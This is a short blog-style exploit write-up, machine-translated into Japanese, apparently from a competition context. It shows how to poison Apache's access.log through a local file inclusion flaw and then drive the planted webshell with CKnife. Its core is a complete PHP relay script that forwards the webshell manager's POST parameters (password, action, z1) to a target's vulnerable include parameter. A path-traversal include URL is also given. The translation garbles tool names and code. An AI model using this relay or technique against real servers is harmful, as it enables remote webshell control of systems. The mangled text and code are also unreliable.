最近、競争に忙しく、ファイルインクルードの脆弱性に遭遇しました。CKnife を使用して、Apache の access.log に文を含めて接続しましたが、Get タイプは、http://xxx/FilesIn を直接実行するだけで非常に簡単です。 php?filename=../apache/logs/access.log をインクルードして使用します。しかし、そのようなファイル保護の脆弱性に遭遇したとき。
<?phpif(isset($_POST["filename"])) $myfile = $_POST["filename"];else echo "Please set filename!";?>
上記の方法は全く効果がありません。包丁とCナイフの設定パラメータはPOSTオプションをサポートしていないので、この良い抜け道は無駄ではありませんか?前回のCookiesインジェクションでのCookiesリレーインジェクションの考え方をもとに、簡単なスクリプトを書きました(Cナイフを例にします)。
まずはログに文章を書いてみましょう。
その後、ターゲット マシンでアップロードが成功したかどうかを確認できます。
ok
次のスクリプトを作成します:
<?php$url="http://192.168.51.103/FilesIn.php"; //中转的脚本路径//初始化提交参数$data = array('filename'=>'../Apache/logs/access.log');if(isset($_POST["CRoot"]))//此处CRoot改为你的密码{ $tmp = array('CRoot'=>$_POST["CRoot"]);//此处CRoot改为你的密码 $data += $tmp;}if(isset($_POST["action"])){ $tmp = array('action'=>$_POST["action"]); $data += $tmp;}if(isset($_POST['z1'])){ $tmp = array('z1'=>$_POST["z1"]); $data += $tmp;}//$data = array('filename'=>'../Apache/logs/access.log','CRoot'=>$postdata,'action'=$_POST["action"],'z1'=$_POST['z1']);//var_dump($data);$data = http_build_query($data);$curl = curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_POST, 1);curl_setopt($curl, CURLOPT_POSTFIELDS, $data);$rtdata = curl_exec($curl);curl_close($curl);echo $rtdata;?>
Open Cナイフ
接続するためにローカルにPHPサーバーを構築します。テスト効果
OK。今回は PHP タイプのファイル管理のみが転送され、他の管理機能は十分にサポートされていない可能性があります。